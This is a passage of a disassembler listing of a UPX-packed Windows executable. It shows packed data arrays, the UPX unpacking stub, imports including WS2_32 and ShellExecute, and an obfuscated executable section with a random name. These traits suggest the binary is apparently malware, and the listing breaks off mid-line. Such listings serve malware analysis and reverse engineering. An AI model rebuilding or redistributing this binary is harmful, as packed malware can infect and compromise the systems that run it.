0CF74C0A7h, 0AF53C96Ch, 488FABC0h, 0D3BDD34Dh, 389B33F0h dd 0C65D2830h, 1C133BA6h, 47FC00Ch, 0D8DC9DD7h, 8BBFF80Bh dd 7D4BFE8h, 0BBB103D0h, 0C4CC4D8Ch, 0BB09BBFh, 5D8CBFA4h dd 0A0A38577h, 9403981Bh, 8058AFBFh, 0B8CBBB1h, 80B7BF84h dd 9F0B78B7h, 0B7736170h, 77616C62h, 639B403h, 6B2F70E3h dd 0B30B6169h, 684CA5A0h, 2BFB6133h, 2B6F3D96h, 6F6C7173h dd 7DF05011h, 462600Eh, 0B3207h, 0C0AE7Ah, 0C02813FCh dd 5801454Eh, 0D9BB137Fh, 1D33D9B2h, 6D6F070Bh, 732D96EBh dd 870F1756h, 0D5FE6B65h, 75D50ACh, 766F6C12h, 9BC8F865h dd 6E6F6D7Fh, 6C737965h, 74697475h, 16206863h, 755F3F7Ah dd 788BCA63h, 0FB3B0D9Bh, 673365E7h, 78070B4Eh, 71B6DB6Bh dd 237A1A77h, 71701500h, 0B9417A61h, 420B7407h, 0C9E4F207h dd 7807FFEEh, 396B3270h, 0F0B92538h, 651B546Ah, 8A3D506Dh dd 63470BCDh, 16200D7Eh, 0EF0BC7ECh, 735AD6E8h, 90A79951h dd 0AE7BAA27h, 4D62A835h, 1983CBDDh, 72F70A16h, 70F7C474h dd 0F6602549h, 6E17078Bh, 0CE7AEB75h, 61B5ACDAh, 46C98D0Ah dd 0DD606D13h, 2B0E1DD9h, 35B47473h, 338A1707h, 2D3134C8h dd 8D7E6572h, 0F6217362h, 61371579h, 56218264h, 6543ED02h dd 243B0123h, 0B30C220h, 92E4B60Ch, 70000h, 9C9C9B9Ch dd 7030000h, 0E6B70A10h, 70277A0Bh, 8BEB4F77h, 7DECC3Dh dd 0F61EB27h, 2D97151Eh, 0BE900A1h, 0E7381731h, 7032B22h dd 0B737840Bh, 211FBD05h, 5C0D0974h, 43081E44h, 75636FE1h dd 53175704h, 0D0FC2A0Bh, 5C736DDDh, 2B6B2C41h, 73ECBB5Bh dd 0ED305C20h, 2441376Dh, 741AC6Ah, 4164725Ch, 63F30B68h dd 0D13C20Bh, 376D65D8h, 270011h, 923172A1h, 934B571Fh dd 9F60325Bh, 630B64BCh, 0F68EC223h, 3131B9Eh, 0AF666622h dd 2346ABB7h, 7729C315h, 0CE4A056Eh, 75173E15h, 65DD5292h dd 0D629878Fh, 1B865B12h, 7551C39Eh, 0F969AB11h, 44BB9A49h dd 636F205Dh, 8CDA6569h, 86C38CFh, 0CF71613Ch, 6A696323h dd 73B5373Ch, 6269AF12h, 0F6F636Dh, 0AB775262h, 0B37B612Fh dd 1E92C2h, 0B58F8BF3h, 6F367416h, 13266769h, 2EF6D51Ch dd 0A3707533h, 2B126EA2h, 5F9DA39Bh, 6B3335CBh, 0B11AD479h dd 87370759h, 68C5AC65h, 28C455EDh, 0F7179FABh, 75E336B6h dd 73184190h, 0D6EFCB8Fh, 0E7193466h, 72622293h, 0C1B9A911h dd 73759B76h, 0B3A36507h, 0A44284BEh, 2DF6B6Ah, 0A46F4E17h dd 826F6A76h, 0D71769DFh, 0CE137361h, 1F5A66E7h, 3B086A16h dd 175B8218h, 0E667626Fh, 0B5CF7C2Fh, 415983D3h, 0D968DF04h dd 65B606F0h, 656B070Bh, 0B6015272h, 65033B37h, 20A690BBh dd 0C0FB115h, 0A0578423h, 0F67875CCh, 0BDEC6F06h, 9A756CC7h dd 7700353h, 0E41686B0h, 74C4F173h, 0D818570Bh, 1B727B36h dd 52FD406Dh, 740FB2E4h, 2D20311Ah, 8C060A0Dh, 3207B262h dd 60A42DE3h, 54460A42h, 4A0542h, 23FBFF21h, 0A38A325Bh dd 2D364B87h, 0F5FFFA0Bh, 20332078h, 686620D1h, 32303120h dd 0DC4A2034h, 5BB914BFh, 123A3067h, 7772648Ch, 6E907278h dd 72246D91h, 42D2827h, 920DAC0Dh, 0D8F65E26h, 35316B83h dd 0CFA07B30h, 33318F13h, 230F142h, 0D702501Bh, 4B6C2DD9h dd 1F022C13h, 0E4BB5620h, 32342FB1h, 0BD84B35h, 8F5F3015h dd 103E4BFDh, 37350C41h, 222F2220h, 2B02017h, 60D8F202h dd 0E0873173h, 0E4F60A6Bh, 0A04FCF92h, 9833162Fh, 92E16310h dd 33335F23h, 20C2A831h, 0DE20C6A3h, 0A7333019h, 0C20C5931h dd 0CB2FD3CDh, 44803E0Fh, 46E327BDh, 23205054h, 0E6BA952Ah dd 9DB8056Dh, 0D55D72Fh, 0FB0130BBh, 604A976Ch, 6B04A120h dd 8E1780Bh, 0E0F6008h, 241B0C0h, 86444B57h, 69544828h dd 6DA08393h, 5C89749Eh, 0B6409B2Fh, 54748F28h, 0D812298Bh dd 1FCF1400h, 15AA278Ah, 5EDC811Ch, 0C119FE80h, 0FF3174FFh dd 0EBF9E200h, 8FE6E805h, 8B64DB33h, 0F8833043h, 70A0889Bh dd 788BAD1Ch, 0FB99E808h, 6C8552FFh, 5C8B3C5Fh, 0DF03783Bh dd 205B8B53h, 0FA374205h, 4C383BFh, 0F703338Bh, 32ACC933h dd 0D505C1B9h, 0FFFF6FFCh, 0CA2BF675h, 2B58E975h, 5EEBD1D8h dd 28245E03h, 8B0B8B66h, 0DF031C5Eh, 0E078028Bh, 5EC703BFh dd 5EE0FF5Bh, 1268A868h, 0E46FFD14h, 6E92BA54h, 0D6FF8404h dd 0DBA4F88Bh, 0EC78A006h, 83BAA453h, 0C47F0057h, 0AC15685Ah dd 8B1C0568h, 0F6F98BD4h, 6AD8FFDBh, 0BA535210h, 5A603063h dd 2B4501Ah, 0C5550h, 8E26058h, 0BF609EC0h, 0B7B3E543h dd 536C2FCBh, 0A69000AFh, 0B95040C2h, 0E6EC3B7Ah, 0A173CCEEh dd 69D31009h, 0C033202Ah, 25BBBCC7h, 5443AF02h, 7972328Ch dd 0EDDDB019h, 7D8166BFh, 75111102h, 220406EDh, 0AAE47500h dd 96C010BDh, 8B370015h, 0B59FEA75h, 0EB392FFh, 45D89ECh dd 894F1989h, 61451465h, 1BC7646Dh, 21A171CAh, 8DF8FD80h dd 6CA25504h, 781C4128h, 7745E066h, 0C5D822F8h, 0A30D7B90h dd 14643DB0h, 2E18458Fh, 69BE02h, 0C03B7F7Eh, 3DBA1836h dd 495C6BD3h, 0C268401Ch, 3702A158h, 1700A60Ch, 438ABECh dd 0FD9F4DFFh, 8B22A0EFh, 577441C8h, 104D8D53h, 0BA1C1E51h dd 777F97B9h, 0CBF5BEE5h, 0C5EB401Bh, 0C5935C0Fh, 0EE446A9Dh dd 0C96FED0Bh, 8BFC8BE0h, 654BABD7h, 0FDE2AB59h, 0DFE5FF40h dd 505252ECh, 0F12C7600h, 0FE582694h, 0BA5053C7h, 63DFD601h dd 0DE34DACBh, 53963D0Bh, 0C7627CFh, 7F91FB77h, 31568583h dd 46BABA07h, 9C10Ch, 0AEA7E3h, 13E66AC7h, 1BCCF81Ch, 0D20CD203h dd 0CCD80B7Ch, 0CD2A0ACh, 78840CD2h, 0DF14C58h, 28340CD2h dd 7CC070Ch, 274594F9h, 0DAEAF6CAh, 0F60FA68Ah, 80B0FFFFh dd 0ACBCBDBBh, 99C590B1h, 0C99ABFF1h, 86F7B191h, 0FA27A0ADh dd 3E5FD0EAh, 91630018h, 0A191B0A3h, 0ACDF93AAh, 9EFF63EAh dd 88DAB2E5h, 17B4AD9Ah, 0DBEFF5CEh, 0FFFFE6B7h, 0A9BB941Fh dd 0A1FAA489h, 0DA97B2BAh, 86A4A4C2h, 0B8B28BD3h, 0BCA1A084h dd 63C93FFFh, 0E0F0CB2Bh, 87BEA397h, 0A9BAFAA7h, 9FC29FA5h dd 0D9C97FE5h, 0C381BEFFh, 0C6ACB590h, 77A0B1A6h, 0BEAB8EFBh dd 0AAE1BA8Dh dd 0B6FAFFFEh, 0DD95A3A4h, 81B2FE82h, 0BAA69BD5h, 265BC79Bh dd 0FB67487Bh, 0C68DA3EBh, 0B583B26Eh, 0B1A0A77Fh, 0F4D88E92h dd 0DCEA737Ah, 0EDFFB0EBh, 90AAAB7Fh, 0A6B1B1BCh, 0F3C399ECh dd 9DC281A2h, 0BC8DB7ECh, 0F178001Bh, 73621345h, 0C0B00C88h dd 906C0327h, 2B6A6001h, 9C45FF24h, 9D0D7589h, 0FA85B6A1h dd 213C8438h, 49ECF1C8h, 7F90306h, 3903C15Bh, 98ADA797h dd 95BCA0A9h, 0CDC8539Dh, 0B52F6h, 5A0136D0h, 0B155070Eh dd 98D52E78h, 70414F29h, 587372Fh, 70B66D0h, 0EC2C2D52h dd 4949F014h, 13E72F53h, 3847AABCh, 3A151Fh, 1962654Fh dd 2FC64B05h, 2A58288Dh, 8353C178h, 45302A6Eh, 0ABA10CBh dd 0E148E126h, 1204D2Eh, 9BB940A2h, 0B03BF67Dh, 3B290D57h dd 0BC222273h, 62CF1081h, 51ECB7D0h, 54A427CBh, 4EF60562h dd 8F5D6F50h, 2062562Ch, 0C22C2B6Ch, 0E184AD1Ch, 40F75DAh dd 2D65876Bh, 0EE8401C8h, 87D54E33h, 7469C080h, 0B2D88B68h dd 1B05E6F6h, 0C5CC6FF8h, 7D38160Bh, 95A0338Dh, 91561054h dd 223DACADh, 9C3A7300h, 5AB611A9h, 306C7927h, 0D419661h dd 0DA5B24C0h, 87A9EC1Bh, 0BC732545h, 0AAC55404h, 28730936h dd 83652D05h, 1B1F6585h, 59301088h, 12E96348h, 0A08040D2h dd 4551886Eh, 59827F8Ah, 155EAE05h, 0A2756363h, 5984B6B2h dd 8EAD3BB0h, 41421B39h, 2008854Bh, 2464EC1h, 686D7572h dd 0B096B0B1h, 8A235143h, 96300378h, 193AAEB7h, 0B0C0DACBh dd 0C9AF7833h, 7506C25Eh, 11D561Ah, 0DDE096Fh, 41FF65D0h dd 5B617B99h, 3341793Ch, 34417A36h, 0FA5FA97Fh, 68456438h dd 6867B566h, 0ED675247h, 6C553568h, 0A97F7644h, 33D8E0h dd 0D46C46B7h, 5C505846h, 1A026973h, 2E1010B0h, 5600BAE0h dd 7716B0F6h, 354E0B67h, 9B066300h, 0D81B0C41h, 94012E30h dd 25E87D4Bh, 6C4F538Dh, 8F7DC141h, 623F1843h, 0D48B5870h dd 11D2868h, 0C3D12D0Ch, 935C1C08h, 1E5C315Ch, 1349810Bh dd 25876ABBh, 2F4C901Bh, 462045E6h, 108290h, 0A201C148h dd 45215B25h, 0CDB172E4h, 4002A610h, 0DDAB1305h, 0AFCF2156h dd 253D3C50h, 3B443347h, 7038180h, 8660690Fh, 0F715003h dd 6DF95E2Fh, 5B000D59h, 5D5E5B25h, 61B0D90Ch, 3B434BC3h dd 24ECAC33h, 0DB5BC388h, 3B290ECAh, 1460CAD9h, 532B6D09h dd 5A6C3265h, 483041Fh, 20A22013h, 18210AFDh, 45491F36h dd 1D86413Ah, 6F782EACh, 5020F543h, 1830087Dh, 2DDD4C00h dd 0C348161Bh, 4882132Bh, 205B8136h, 1BD81C5Ch, 596C895Bh dd 444A0846h, 42B0B104h, 5CB44654h, 0A587E16Ch, 9706072Fh dd 466CE34h, 234906E7h, 56F0B887h, 3631650Bh, 9F353588h dd 65FD8763h, 4E534D77h, 2DF94520h, 17490Eh, 0B844B2A6h dd 3962B72Ch, 0F3B0B61Dh, 63393138h, 232D31C7h, 1356612h dd 2B1F7174h, 35F6EC2Eh, 65653765h, 4F633030h, 2AB9CCD5h dd 5C7CB617h, 412E054Ch, 35642702h, 452E3033h, 64C731A4h dd 85B7825h, 0F24615Dh, 43767B73h, 6F1E3FF1h, 0D02DB15Ah dd 0F3398C11h, 30496B12h, 148CB636h, 60652380h, 60A90DD6h dd 7456B83Eh, 0DA178204h, 2BF42175h, 4218202Bh, 6E277283h dd 8A483972h, 13758182h, 106D4E53h, 3550BB71h, 664F8563h dd 18726108h, 6D05A958h, 73681CB4h, 54BF1801h, 60A16E1Eh dd 57851821h, 0DB58BD13h, 7665560Eh, 96DB5805h, 87648284h dd 0B716A22Bh, 3C53715Ah, 0B4365C8Bh, 0B5BB2D80h, 7075EA2Ch dd 0DCCAC320h, 74DFA660h, 109C4B5Dh, 135CCC0Ah, 6A6C4AD7h dd 17909188h, 0D34CDAB7h, 38B8574h, 9028303Ch, 0FB0641h dd 0C14071Ch, 641C9C83h, 0ECD9F400h, 0C82F90E4h, 0D80BE020h dd 6C190641h, 0BCC807D0h, 90641935h, 4EA4ACB4h, 34EFC9Eh dd 90D99873h, 641980D9h, 747C4190h, 0B0727268h, 58435C01h dd 20C850D9h, 40480C83h, 0C80D838h, 1C283032h, 0C83219Fh dd 40C1432h, 0D9C9800Ch, 0BF407D8h, 90018200h, 45E8DE4Bh dd 8C433330h, 61204349h, 0CBA2C351h, 785158C3h, 0D764A7A0h dd 0E4E6D9Fh, 20077536h, 6C632D75h, 2B8407Bh, 7BC2980h dd 0B128ED32h, 13BB7973h, 8992432Dh, 0AADB7A36h, 48530B3Ah dd 0D639DC2Dh, 983FC689h, 6C00350Bh, 6900702Fh, 8BDBE805h dd 278AC566h, 0CE686C02h, 2E0761C1h, 0E8505BCCh, 8A96F905h dd 62D0779h, 90F344CFh, 752074B3h, 6D4597BCh, 0E78BD42h dd 6E48095Fh, 3D07B3D8h, 8908133Dh, 6F014836h, 4F3D0F13h dd 1BB6620Bh, 4D3A2015h, 0DEFA8544h, 796669FBh, 4D07A350h dd 0FB304133h, 700B485Eh, 0D9BE5A07h, 4F6D3B9Bh, 2F705308h dd 0C54AD4Ch, 49F8061Ch, 5484D64h, 26623AA6h, 3EC4F7ACh dd 77327548h, 0CB60E65h, 8E6C8096h, 136E7342h, 8DD14C08h dd 534DD367h, 28337B22h, 3089E403h, 0FB050BFEh, 0B8A0BAE6h dd 91C499ECh, 0FFD43B03h, 790F4CFFh, 35C08B1h, 0E3F4F66Fh dd 0A8C30C12h, 12FBCA1h, 18B28248h, 61C277DEh, 0FDC6FF44h dd 0EBF7D7E6h, 23AFF7EBh, 0B594532Eh, 0DA00CAAAh, 0FF25442Ah dd 0B881B1E1h, 0EBF7BDh, 0A78247FFh, 8E96622Eh, 0A48BBBA7h dd 0A6E6E6E7h, 84A88F9Ah, 0D356DAA2h, 0F30A2482h, 0BB80B6FFh dd 0B1E6A7B0h, 0FE85DE92h, 712DFBFh, 69658782h, 3CAF070h dd 0EE8396C1h, 0FE1652Eh, 6C45E068h, 0EE700179h, 0A85145CDh dd 7F2EF73h, 8A275CA3h, 0CC4D706Eh, 0DE001E58h, 3A490F20h dd 8A45DC8Dh, 25780525h, 4BFF3378h, 3069B81h, 0B3D60FBh dd 1B548FDFh, 527F8E10h, 2B6597D1h, 0AFBC19D1h, 56413F2Eh dd 6081AA5Fh, 655F1D03h, 60840F0h, 1F37AC36h, 1A0A39A8h dd 1E875FDCh, 0A9200A21h, 1051541Eh, 51B3756h, 57E0C44Dh dd 40476A60h, 65A88415h, 0F5408BF1h, 4C0E4DCFh, 7B61636Fh dd 4109ED0Fh, 444E53A5h, 0EAA90569h, 0AD638836h, 446C1579h dd 5B660A93h, 0E72F6E22h, 6068A325h, 4CF65D1Fh, 9229BD0h dd 2C0C4FA9h, 195BD142h, 77DE3B76h, 4C010D44h, 61726269h dd 1D4440Dh, 417B22F5h, 8B5B62C7h, 69A40F5Ah, 6F430C10h dd 0D97B5117h, 4C647970h, 0A1064A61h, 0DB7B378h, 7E697257h dd 3D9B7070h, 506876D9h, 5097688Eh, 0D97C7069h, 365BD516h dd 0BD38124Fh, 305B2D9Bh, 65500F20h, 0D5476B65h, 641AF64Bh dd 66699043h, 44326A85h, 537A9952h, 0AFA830D1h, 50646E87h dd 13C14EBDh, 0A03584B0h, 0C3CBC4Fh, 614339BBh, 0C010164Dh dd 6706529h, 60024D96h, 4A68F454h, 0E28A92C2h, 5B73F657h dd 62FAA621h, 6544ACC0h, 908AA210h, 8FD58584h, 0E9F60D51h dd 14354D4h, 0B0B06E55h, 616DFFB3h, 65695670h, 0B6664F77h dd 54CF0E4Dh, 18CB96E4h, 0D547C7E7h, 627A6DACh, 0AF49A14Dh dd 75427501h, 6241443Ch, 0A80E186Ah, 334EA053h, 1503D413h dd 2C680EB4h, 63F90BAAh, 1F01E46Bh, 0CFA9ED50h, 6E470350h dd 6BB414ECh, 75713A31h, 37681A20h, 6531A58Ch, 427349D9h dd 0A12D92B4h, 14E86F45h, 108C20CCh, 9DEF5EAAh, 490DD7B2h dd 2A55452Fh, 40C67544h, 5D6F0588h, 824C3359h, 4D11BC21h dd 0B2D2E265h, 630BD3C6h, 76160987h, 5A0B635Bh, 6D4DD576h dd 0C6615670h, 61D44730h, 0A56223D6h, 90876D91h, 97A57644h dd 9A71B545h, 670900EDh, 0C2ADBDC1h, 377592C3h, 3F87CE0Eh dd 39103602h, 6879654Bh dd 78458B0Dh, 111E330Eh, 0CC259B0Dh, 32B80FB6h, 0D8CB440Dh dd 0E97355A3h, 0D7585266h, 45627250h, 74DB6E6Dh, 79AC1C14h dd 526EE229h, 410F6D61h, 586CC763h, 24D9A52Bh, 66B58B59h dd 0C058BDB3h, 5F6114FAh, 9C15CED9h, 0F006C92Bh, 2C0AF294h dd 43E196B4h, 2BA87878h, 7F707F7Eh, 6A27C409h, 0AE313F3Fh dd 40454155h, 0E35C1358h, 2A295AB9h, 6681990Eh, 0EA0CDA28h dd 8C06D0Ah, 84DCD1EFh, 2482364h, 808FB106h, 73766C9Bh dd 2A66AB6Eh, 62D6DEF7h, 77957F6Fh, 0F910323Bh, 20B37FFEh dd 59403274h, 58415041h, 0D5A4049h, 7B587B33h, 0D0E58AEh dd 625F2547h, 316BACD7h, 0E859095Ch, 0FBB6650Fh, 5F7676B6h dd 11339268h, 667A690Eh, 0D8640368h, 691D069Ah, 0CD96D131h dd 637536C6h, 98F56E73h, 0E73A8A57h, 73070213h, 0B9C30F95h dd 38615B2Eh, 54736669h, 9D0EC106h, 0D50630A1h, 0AC516306h dd 7EAF735h, 407CA77h, 0AE75C957h, 0E235DAC5h, 6325071Dh dd 0CC97877Bh, 1D75B33Bh, 2C0C0720h, 3D55DEEBh, 59B6946Dh dd 9413742Eh, 5AE699Ch, 0EA2C801h, 0C8FFB6CDh, 0BAD0120Bh dd 0F44188D6h, 171A6DC4h, 0CD381D04h, 81C9D81Eh, 0D3A22182h dd 0BBF602C8h, 9134E8ABh, 706C4177h, 40470E05h, 97AF4E63h dd 4181C612h, 219177B0h, 60C52D54h, 3B496B58h, 41EFBA5Eh dd 4E4D08B4h, 0F48C2968h, 7B659659h, 1970204h, 59651516h dd 13026596h, 96170A05h, 0C965965h, 12386F33h, 65965903h dd 34097059h, 596D0B06h, 8106596h, 0FD117414h, 0F28EDB2Ch dd 49415357h, 239FF25h, 0FF210D73h, 501649E5h, 3014C45h dd 3901F000h, 0E91D9E46h, 0B010F97h, 820601h, 67F11382h dd 0E882D937h, 707C100Bh, 24B0D0Bh, 75602C4h, 818A3DF6h dd 10284F14h, 82C2C207h, 2766E58h, 73CB5584h, 856968A0h dd 70A7EC51h, 41B6F202h, 0D7DD905Fh, 4EB5FE7h, 91F0158h dd 722EE012h, 17802BC0h, 0FB0E4CECh, 58B7D92Bh, 4002D973h dd 9827262Eh, 0D3494C71h, 74608034h, 0D97C00C0h, 76466830h dd 1F703h, 0 dd 12000000h, 0FFh, 0 ; --------------------------------------------------------------------------- pusha mov esi, offset nullsub_100 lea edi, [esi-16000h] push edi or ebp, 0FFFFFFFFh jmp short loc_421AC2 ; --------------------------------------------------------------------------- align 8 loc_421AB8: ; CODE XREF: UPX1:loc_421AC9j mov al, [esi] inc esi mov [edi], al inc edi loc_421ABE: ; CODE XREF: UPX1:00421B56j ; UPX1:00421B6Dj add ebx, ebx jnz short loc_421AC9 loc_421AC2: ; CODE XREF: UPX1:00421AB0j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421AC9: ; CODE XREF: UPX1:00421AC0j jb short loc_421AB8 mov eax, 1 loc_421AD0: ; CODE XREF: UPX1:00421ADFj ; UPX1:00421AEAj add ebx, ebx jnz short loc_421ADB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421ADB: ; CODE XREF: UPX1:00421AD2j adc eax, eax add ebx, ebx jnb short loc_421AD0 jnz short loc_421AEC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_421AD0 loc_421AEC: ; CODE XREF: UPX1:00421AE1j xor ecx, ecx sub eax, 3 jb short loc_421B00 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_421B72 mov ebp, eax loc_421B00: ; CODE XREF: UPX1:00421AF1j add ebx, ebx jnz short loc_421B0B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421B0B: ; CODE XREF: UPX1:00421B02j adc ecx, ecx add ebx, ebx jnz short loc_421B18 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421B18: ; CODE XREF: UPX1:00421B0Fj adc ecx, ecx jnz short loc_421B3C inc ecx loc_421B1D: ; CODE XREF: UPX1:00421B2Cj ; UPX1:00421B37j add ebx, ebx jnz short loc_421B28 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421B28: ; CODE XREF: UPX1:00421B1Fj adc ecx, ecx add ebx, ebx jnb short loc_421B1D jnz short loc_421B39 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_421B1D loc_421B39: ; CODE XREF: UPX1:00421B2Ej add ecx, 2 loc_421B3C: ; CODE XREF: UPX1:00421B1Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_421B5C loc_421B4D: ; CODE XREF: UPX1:00421B54j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_421B4D jmp loc_421ABE ; --------------------------------------------------------------------------- align 4 loc_421B5C: ; CODE XREF: UPX1:00421B4Bj ; UPX1:00421B69j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_421B5C add edi, ecx jmp loc_421ABE ; --------------------------------------------------------------------------- loc_421B72: ; CODE XREF: UPX1:00421AFCj pop esi mov edi, esi mov ecx, 9C1h loc_421B7A: ; CODE XREF: UPX1:00421B81j ; UPX1:00421B86j mov al, [edi] inc edi sub al, 0E8h loc_421B7F: ; CODE XREF: UPX1:00421BA4j cmp al, 1 ja short loc_421B7A cmp byte ptr [edi], 6 jnz short loc_421B7A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_421B7F lea edi, [esi+1F000h] loc_421BAC: ; CODE XREF: UPX1:00421BCEj mov eax, [edi] or eax, eax jz short loc_421BF7 mov ebx, [edi+4] lea eax, [eax+esi+21000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+210A0h] xchg eax, ebp loc_421BC9: ; CODE XREF: UPX1:00421BEFj mov al, [edi] inc edi or al, al jz short loc_421BAC mov ecx, edi jns short near ptr loc_421BDA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_421BDA: ; CODE XREF: UPX1:00421BD2j mov ecx, 0AEF24857h push ebp call dword ptr [esi+210A4h] or eax, eax jz short loc_421BF1 mov [ebx], eax add ebx, 4 jmp short loc_421BC9 ; --------------------------------------------------------------------------- loc_421BF1: ; CODE XREF: UPX1:00421BE8j call dword ptr [esi+210A8h] loc_421BF7: ; CODE XREF: UPX1:00421BB0j popa jmp near ptr dword_401000+157F1h ; --------------------------------------------------------------------------- align 800h UPX1 ends ; Section 3. (virtual address 00022000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00022000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write UPX2 segment para public 'DATA' use32 assume cs:UPX2 ;org 422000h dword_422000 dd 3 dup(0) ; DATA XREF: fzj3qwht:0042A15Co ; sub_432992+9o dd 220E0h, 220A0h, 3 dup(0) dd 220EDh, 220B0h, 3 dup(0) dd 220FAh, 220B8h, 3 dup(0) dd 22105h, 220C0h, 3 dup(0) dd 22112h, 220C8h, 3 dup(0) dd 2211Eh, 220D0h, 3 dup(0) dd 22129h, 220D8h, 5 dup(0) dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0 dd 77DD189Ah, 0 a@W db '@¹Äw',0 align 10h dd 7713BC68h, 0 aClbw db '—‹Bw',0 align 10h aJW db 'jÉÔw',0 align 4 aTLq db 'â]«q',0 align 10h aKernel32_dll db 'KERNEL32.DLL',0 aAdvapi32_dll db 'ADVAPI32.dll',0 aMsvcrt_dll db 'MSVCRT.dll',0 aOleaut32_dll db 'OLEAUT32.dll',0 aShell32_dll db 'SHELL32.dll',0 aUser32_dll db 'USER32.dll',0 aWs2_32_dll db 'WS2_32.dll',0 dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h dd 65726464h, 7373h, 74697845h, 636F7250h, 737365h, 65520000h dd 6F6C4367h, 654B6573h, 79h, 6C696563h, 68530000h, 456C6C65h dd 75636578h, 416574h, 73770000h, 6E697270h, 416674h, 39Ch dup(0) UPX2 ends ; --------------------------------------------------------------------------- ; Section 4. (virtual address 00023000) ; Virtual size : 00007000 ( 28672.) ; Section size in file : 00007000 ( 28672.) ; Offset to raw data for section: 00023000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute hjohnhn9 segment para public 'CODE' use32 assume cs:hjohnhn9 ;org 423000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing add esi, 0F2008C74h jmp sub_426098 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42300D: ; CODE XREF: hjohnhn9:004239C5j mov eax, [ebp-0Ch] mov [ebp-1Ch], eax lea eax, [ebp-125h] mov [ebp-20h], eax jmp loc_427F49 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_423022: ; CODE XREF: sub_4287BF-1571j jmp loc_42369A ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_423027: ; CODE XREF: sub_426475+17j jmp loc_4234D8 ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42626F loc_42302C: ; CODE XREF: sub_42626F+13j jmp loc_4242D9 ; END OF FUNCTION CHUNK FOR sub_42626F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42441D loc_423031: ; CODE XREF: sub_42441D+4j ; sub_425029:loc_426AD7j mov eax, [ebp-0Ch] push offset sub_42303E jmp nullsub_7 ; END OF FUNCTION CHUNK FOR sub_42441D ; =============== S U B R O U T I N E ======================================= sub_42303E proc near ; DATA XREF: sub_42441D-13E9o ; FUNCTION CHUNK AT 00424896 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427119 SIZE 00000014 BYTES movzx eax, byte ptr [eax] loc_423041: ; CODE XREF: sub_426A78:loc_426588j add [ebp-8], eax mov eax, [ebp-8] shl eax, 0Ah jmp loc_424896 sub_42303E endp ; =============== S U B R O U T I N E ======================================= sub_42304F proc near ; DATA XREF: sub_427792-24DBo arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0042306D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004237EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424218 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004243F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424A33 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424D8C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424F43 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004260B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426833 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426AE9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426C4F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426EF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427102 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004273B2 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 004274F9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00428079 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004282D3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428AA2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428F45 SIZE 00000005 BYTES mov ecx, [ebx+ecx+0Ch] loc_423053: ; CODE XREF: sub_4287BF+Ej or ecx, ecx jz loc_4273B2 mov edx, [ebx+ecx] xor edx, [ebx+ecx+4] cmp edx, 7C61090Eh jmp loc_4282D3 sub_42304F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_42306D: ; CODE XREF: sub_42304F:loc_426C4Fj mov ebx, [eax+18h] jmp loc_4260B8 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- loc_423075: ; CODE XREF: hjohnhn9:00427F6Aj adc ebx, 0EA4171D6h popf jp loc_423CFC ; START OF 